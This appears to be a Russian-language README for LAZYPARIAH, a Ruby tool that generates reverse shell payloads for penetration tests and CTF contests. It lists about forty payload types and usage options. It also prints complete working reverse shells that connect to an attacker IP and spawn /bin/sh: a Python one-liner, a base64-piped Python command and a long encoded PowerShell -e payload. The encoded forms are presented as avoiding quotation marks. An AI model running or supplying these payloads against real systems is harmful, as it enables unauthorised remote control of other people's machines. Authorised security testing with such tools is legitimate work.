
Инструмент для генерации полезных нагрузок reverse shell на лету.
Инструмент командной строки с низкими зависимостями для генерации реверс-шелл пейлоадов на лету.
LAZYPARIAH — это простой и легко устанавливаемый инструмент командной строки, написанный на чистом Ruby, который можно использовать во время тестов на проникновение и соревнований Capture-the-Flag (CTF) для генерации различных реверс-шелл пейлоадов на лету.
Поддерживаемые реверс-шелл пейлоады LAZYPARIAH включают (но не ограничиваются ими):
c_binaryruby, ruby_b64, ruby_hex, ruby_cpowershell_c, powershell_b64python_b64rust_binarysystem(): php_system_python_b64java_classperl, perl_b64, perl_hex, perl_cphp_fd, php_fd_c, php_fd_tagsЭтот инструмент предназначен для использования только в разрешённых обстоятельствах квалифицированными специалистами по тестированию на проникновение, исследователями безопасности и профессионалами красных команд. Перед загрузкой, установкой или использованием этого инструмента убедитесь, что вы понимаете соответствующие законы вашей юрисдикции. Автор этого инструмента не одобряет, не поощряет и не поддерживает его использование в незаконных или несанкционированных целях.
java_class.)c_binary.)rust_binary.)LAZYPARIAH можно установить на большинстве систем GNU/Linux и BSD с помощью установщика RubyGems следующим образом:
gem install lazypariah
Использование: lazypariah [ОПЦИИ] <ТИП ПЕЙЛОАДА> <ХОСТ АТАКУЮЩЕГО> <ПОРТ АТАКУЮЩЕГО>
Примечание: <ХОСТ АТАКУЮЩЕГО> может быть IPv4-адресом, IPv6-адресом или именем хоста.
Пример: lazypariah -u python_b64 10.10.14.4 1555
Пример: lazypariah python_c malicious.local 1337
Допустимые пейлоады:
awk
bash_tcp
c_binary
java_class
nc
nc_openbsd
nc_pipe
nodejs
nodejs_b64
nodejs_c
nodejs_hex
perl
perl_b64
perl_c
perl_hex
php_fd
php_fd_c
php_fd_tags
php_system_python_b64
php_system_python_hex
php_system_python_ipv6_b64
php_system_python_ipv6_hex
powershell_b64
powershell_c
python
python_b64
python_c
python_hex
python_ipv6
python_ipv6_b64
python_ipv6_c
python_ipv6_hex
ruby
ruby_b64
ruby_c
ruby_hex
rust_binary
socat
Допустимые опции:
-h, --help Показать справку и выйти.
-l, --license Показать информацию о лицензии и выйти.
-u, --url URL-кодировать пейлоад.
-v, --version Показать информацию о версии и выйти.
-D, --fd INTEGER Указать файловый дескриптор, используемый целью для TCP. Требуется для некоторых пейлоадов.
-P, --pv INTEGER Указать версию Python для пейлоада. Должно быть 2 или 3. По умолчанию версия не указана.
-N, --no-new-line Не добавлять символ новой строки в конец пейлоада.
--b64 Закодировать пейлоад c_binary, rust_binary или java_class в base-64.
--hex Закодировать пейлоад c_binary, rust_binary или java_class в шестнадцатеричном формате.
--gzip Сжать пейлоад c_binary, rust_binary или java_class с помощью zlib.
--gzip_b64 Сжать пейлоад c_binary, rust_binary или java_class с помощью zlib и закодировать результат в base-64.
--gzip_hex Сжать пейлоад c_binary, rust_binary или java_class с помощью zlib и закодировать результат в шестнадцатеричном формате.
Перечисленные выше пейлоады в целом названы систематически.
Пейлоады, оканчивающиеся на _c, предназначены для выполнения изнутри сеанса оболочки. Эти пейлоады выполняют код напрямую с помощью соответствующего интерпретатора (например, python3 -c или ruby -e).
Например, команда lazypariah python_c 10.10.14.4 1337 должна выдать следующий вывод:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Команда lazypariah python 10.10.14.4 1337, с другой стороны, должна просто выдать блок кода Python, который потенциально можно поместить в файл .py:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Вообще говоря, выбор пейлоадов, оканчивающихся на _b64, должен выдавать команду, предназначенную для выполнения из сеанса оболочки, аналогично пейлоадам, оканчивающимся на _c, но команды будут отличаться по структуре. Эти команды будут, по сути, передавать блок кода, закодированный в base64, через base64 -d, а затем соответствующему интерпретатору (такому как python3, python2 или ruby).
Например, команда lazypariah python_b64 10.10.14.4 1337 должна выдать следующий вывод:
echo aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw== | base64 -d | python
Исключением является powershell_b64, который использует встроенный декодер base64 Powershell. Например, команда lazypariah powershell_b64 10.10.14.4 1337 должна вернуть следующее:
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4ANAAnACwAMQAzADMANwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=
(Примечание: Длина приведённого выше пейлоада обусловлена тем, что Powershell использует кодировку UTF-16LE, где один символ соответствует двум байтам.)
Такие типы пейлоадов могут быть полезны в определённых ситуациях, поскольку они не содержат одинарных или двойных кавычек.